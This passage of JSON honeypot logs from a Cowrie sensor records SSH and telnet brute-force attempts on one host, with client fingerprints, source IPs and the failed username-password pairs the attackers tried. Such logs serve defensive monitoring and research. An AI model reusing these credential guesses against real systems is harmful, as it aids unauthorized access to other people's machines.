-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:38:45.663109Z","src_ip":"211.178.247.182","session":"37646b3d1c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!234Qwer","message":"login attempt [admin/!234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:38:46.430304Z","src_ip":"211.178.247.182","session":"37646b3d1c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:38:47.618755Z","src_ip":"211.178.247.182","session":"37646b3d1c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":43026,"dst_ip":"159.203.135.109","dst_port":22,"session":"cab3c3258035","protocol":"ssh","message":"New connection: 78.128.112.74:43026 (159.203.135.109:22) [session: cab3c3258035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:14.959240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:15.180342Z","src_ip":"78.128.112.74","session":"cab3c3258035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:15.187181Z","src_ip":"78.128.112.74","session":"cab3c3258035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"0001","message":"login attempt [user/0001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:17.291623Z","src_ip":"78.128.112.74","session":"cab3c3258035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:18.419926Z","src_ip":"78.128.112.74","session":"cab3c3258035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":61830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5956d1eef7","protocol":"ssh","message":"New connection: 211.178.247.182:61830 (159.203.135.109:22) [session: 2a5956d1eef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:38.951456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:38.956336Z","src_ip":"211.178.247.182","session":"2a5956d1eef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:39.146153Z","src_ip":"211.178.247.182","session":"2a5956d1eef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1987121","message":"login attempt [ubuntu/1987121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:39.945313Z","src_ip":"211.178.247.182","session":"2a5956d1eef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:39:41.141371Z","src_ip":"211.178.247.182","session":"2a5956d1eef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":2691,"dst_ip":"159.203.135.109","dst_port":22,"session":"33df9012d8c9","protocol":"ssh","message":"New connection: 211.178.247.182:2691 (159.203.135.109:22) [session: 33df9012d8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:40:32.862278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:40:32.867521Z","src_ip":"211.178.247.182","session":"33df9012d8c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:40:33.059395Z","src_ip":"211.178.247.182","session":"33df9012d8c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pw1234","message":"login attempt [admin/pw1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:40:33.838989Z","src_ip":"211.178.247.182","session":"33df9012d8c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"755f1d297e6a","protocol":"telnet","message":"New connection: 49.88.156.34:59870 (10.17.0.5:23) [session: 755f1d297e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:40:34.773281Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:40:35.027512Z","src_ip":"211.178.247.182","session":"33df9012d8c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":8596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba5f9b97ff3","protocol":"ssh","message":"New connection: 211.178.247.182:8596 (159.203.135.109:22) [session: 2ba5f9b97ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:41:27.204589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:41:27.213748Z","src_ip":"211.178.247.182","session":"2ba5f9b97ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:41:27.405165Z","src_ip":"211.178.247.182","session":"2ba5f9b97ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver1","password":"csgoserver","message":"login attempt [csgoserver1/csgoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:41:28.191298Z","src_ip":"211.178.247.182","session":"2ba5f9b97ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:41:29.389052Z","src_ip":"211.178.247.182","session":"2ba5f9b97ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":11212,"dst_ip":"159.203.135.109","dst_port":22,"session":"27fcbb0727c6","protocol":"ssh","message":"New connection: 211.178.247.182:11212 (159.203.135.109:22) [session: 27fcbb0727c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:42:23.455183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:42:23.460205Z","src_ip":"211.178.247.182","session":"27fcbb0727c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:42:23.662845Z","src_ip":"211.178.247.182","session":"27fcbb0727c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"aa123456","message":"login attempt [user/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:42:24.436094Z","src_ip":"211.178.247.182","session":"27fcbb0727c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:42:25.623171Z","src_ip":"211.178.247.182","session":"27fcbb0727c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00418186187744,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:42:34.777325Z","src_ip":"49.88.156.34","session":"755f1d297e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":64363,"dst_ip":"10.17.0.5","dst_port":22,"session":"d75912e1927b","protocol":"ssh","message":"New connection: 213.209.159.159:64363 (10.17.0.5:22) [session: d75912e1927b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:16.509563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:16.514035Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:16.598376Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn","message":"login attempt [rayshawn/rayshawn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:17.006656Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn1","message":"login attempt [rayshawn/rayshawn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:18.093807Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn123","message":"login attempt [rayshawn/rayshawn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:19.181043Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":19718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f513a0973b09","protocol":"ssh","message":"New connection: 211.178.247.182:19718 (159.203.135.109:22) [session: f513a0973b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:20.140504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:20.147896Z","src_ip":"211.178.247.182","session":"f513a0973b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn1234","message":"login attempt [rayshawn/rayshawn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:20.267684Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:20.337450Z","src_ip":"211.178.247.182","session":"f513a0973b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Cloud@123","message":"login attempt [ubuntu/Cloud@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:21.129539Z","src_ip":"211.178.247.182","session":"f513a0973b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn12345","message":"login attempt [rayshawn/rayshawn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:21.355006Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:22.321219Z","src_ip":"211.178.247.182","session":"f513a0973b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:43:22.441489Z","src_ip":"213.209.159.159","session":"d75912e1927b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":25607,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7cc9096d845","protocol":"ssh","message":"New connection: 211.178.247.182:25607 (159.203.135.109:22) [session: c7cc9096d845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:44:17.235778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:44:17.240366Z","src_ip":"211.178.247.182","session":"c7cc9096d845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecds